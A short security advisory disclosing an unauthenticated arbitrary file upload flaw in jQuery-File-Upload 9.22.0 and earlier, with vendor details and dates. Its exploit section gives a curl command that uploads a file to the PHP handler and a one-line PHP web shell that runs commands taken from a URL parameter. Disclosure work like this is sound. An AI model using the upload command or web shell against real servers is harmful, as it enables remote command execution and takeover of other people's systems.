jQuery-File-Upload 9.22.0 Arbitrary File Upload

jQuery-File-Upload versions 9.22.0 and below suffer from an unauthenticated arbitrary file upload vulnerability that allows for remote command execution.

MD5 | ea6808b39068792822a1f9dce775e157

Title: jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability
Author: Larry W. Cashdollar, @_larry0
Date: 2018-10-09
Download Site: https://github.com/blueimp/jQuery-File-Upload/releases
Vendor: https://github.com/blueimp
Vendor Notified: 2018-10-09
Advisory: http://www.vapidlabs.com/advisory.php?v=204
Description: File Upload widget with multiple file selection, drag&drop support, progress bar, validation and preview images, audio and video for jQuery. Supports cross-domain, chunked and resumable file uploads. Works with any server-side platform (Google App Engine, PHP, Python, Ruby on Rails, Java, etc.) that supports standard HTML form file uploads.
The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php doesn't require any validation to upload files
to the server. It also doesn't exclude file types. This allows for remote code execution.

Exploit Code:
$ curl -F "[email protected]" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php

Where shell.php is:

<?php $cmd=$_GET['cmd']; system($cmd);?>

Related Posts